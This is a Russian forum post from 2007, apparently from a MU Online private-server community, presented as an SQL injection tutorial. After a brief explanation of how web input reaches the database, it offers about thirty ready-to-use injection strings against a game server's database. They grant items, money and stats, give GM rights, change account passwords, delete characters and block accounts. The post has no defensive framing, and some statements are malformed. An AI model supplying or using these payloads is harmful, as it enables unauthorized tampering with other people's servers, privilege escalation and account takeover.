x-MU.net > описание > Tutorial - SQL Injection
Tutorial - SQL Injection10 января 2007. Разместил: nanoman |
![]() Что такое SQL-injection? Это отправка базе данных SQL команды на выполнение через web скрипт, расположенный на доступной рядовому пользователю веб-странице. Для начала построим цепь, по которой связываются пользователь с базой данных: пользователь заходит на страницу, пишет свое имя и пароль, после нажатие на кнопки типа Submit страница проверяет правильность данных и отправляет данные веб серверу, веб сервер формирует SQL запрос и передает его базе данных (Веб сервер не проверяет, может ли ваш запрос взломать базу данных!), она проверяет запрос и возвращает результат скрипту, который выдает пользователю ответ. Таким образом есть только одно потенциально уязвимое место: передача данных скрипту. Итак, ищем скрипты, которые могут быть уязвимы. А уязвим может быть любой скрипт, который обращается к базе как post, так и get методом. - Несколько готовых скриптов к применению ' UPDATE warehouse Set items= 0x WHERE (accountid = 'ACCOUNT')-- (THIS CREATES ITEMS IN YOUR VAULT) ' UPDATE ' DELETE Character = 9 WHERE (Name = 'CHAR NAME')-- (THIS DELETES THE CHAR) ' UPDATE Character Set Money = 10000000000000 WHERE (Name = 'CHAR NAME')-- (THIS GIVES YOU ZEN 1kkk) ' UPDATE Character Set CtlCode = 8 WHERE (Name = 'CHAR NAME')-- (THIS MAKES YOU A GM) ' UPDATE Character Set SET memb_pwd = 'PASSWORD' WHERE (WHERE memb_id = ACCOUNT)-- (THIS CHANGES THE ACCOUNT PASSWORD) ' UPDATE Character Set Experience = '3000000' WHERE (Name = 'CHAR NAME')-- (THIS CHANGES THE EXP OF THE CHAR) ' UPDATE Character Set cLevel = '340' WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LEVEL) ' UPDATE Character Set Strength = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER STRENGHT) ' UPDATE Character Set Energy = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER ENERGY) ' UPDATE Character Set Dexterity = 10000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER AGILITY) ' UPDATE Character Set Vitality = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER VITALITY) ' UPDATE Character Set Command = 32000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER COMMAND, ONLY AWAYABLE TO DL) ' UPDATE Character Set Reset = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER RESETS) ' DELETE Character WHERE (Name = 'CHAR NAME')-- (THIS DELETES CHARACTER TOO) ' UPDATE Character Set MapNumber = '6' , MapPosX = '63' , MapPosY = '1' , WHERE (Name = 'Rush')-- (THIS MOVES THE CHARACTER WHERE YOU WANT, YOU NEED TO BE LOGGED OUT TO USE THIS) ' UPDATE Character Set Class = 8 WHERE (Name = 'CHAR NAME')-- (THIS EDITS WHAT CLASS DO YOU WANT TO BE, JUST CHANGE THE 8 TO SOME OF THE NUMBERS BELOW) Classes: DK = 16 DW = 0 Elf = 32 BK = 17 SM = 1 ME = 33 MG = 48 DL = 64 ' UPDATE Character Set Life = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LIFE) ' UPDATE Character Set MaxLife = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX LIFE) ' UPDATE Character Set Mana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MANA) ' UPDATE Character Set MaxMana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX MANA) ' UPDATE Character Set PkLevel = 3 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER PK LEVEL) ' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'CHAR NAME')-- (THIS EDITS THE GUILD SCORE) ' UPDATE Guild Set G_Name = 'GUILD NAME' WHERE (G_Master = 'GUILD MASTER NAME')-- (THIS EDITS THE GUILD NAME) ' UPDATE Guild Set G_Master = 'GUILD MASTER NAME' WHERE (G_Name = 'GUILD NAME')-- (THIS EDITS THE GUILD MASTER) ' UPDATE EVENT_INFO Set Point = 5000 WHERE (CharacterName = 'CHAR NAME')-- (THIS EDITS THE DS POINTS) ' UPDATE MEMB_INFO Set bloc_code = 0 WHERE (memb___id = 'ACCOUNT')-- (THIS BLOCKS THE ACCOUNT) ' UPDATE Character Set CtlCode = 0 WHERE (Name = 'CHAR NAME')-- (THIS BLOCKS THE CHARACTER 1=BLOCK 0 = NORMAL ) You can make several edits in one time: ' UPDATE Character Set CtlCode = 8,Money = 1000000000,cLevel = '340',Strength = 32000,Energy = 32000,Vitality = 32000,Dexterity = 32000,Class =17 WHERE (Name = 'CHAR NAME')-- - nanoman : -This is my sql injection tutorial -I included gm commands,help,codes -Download: Внимание! У вас нет прав, для просмотра скрытого текста. - публикация доступна на короткое время, ваши коментарии оставляйте. |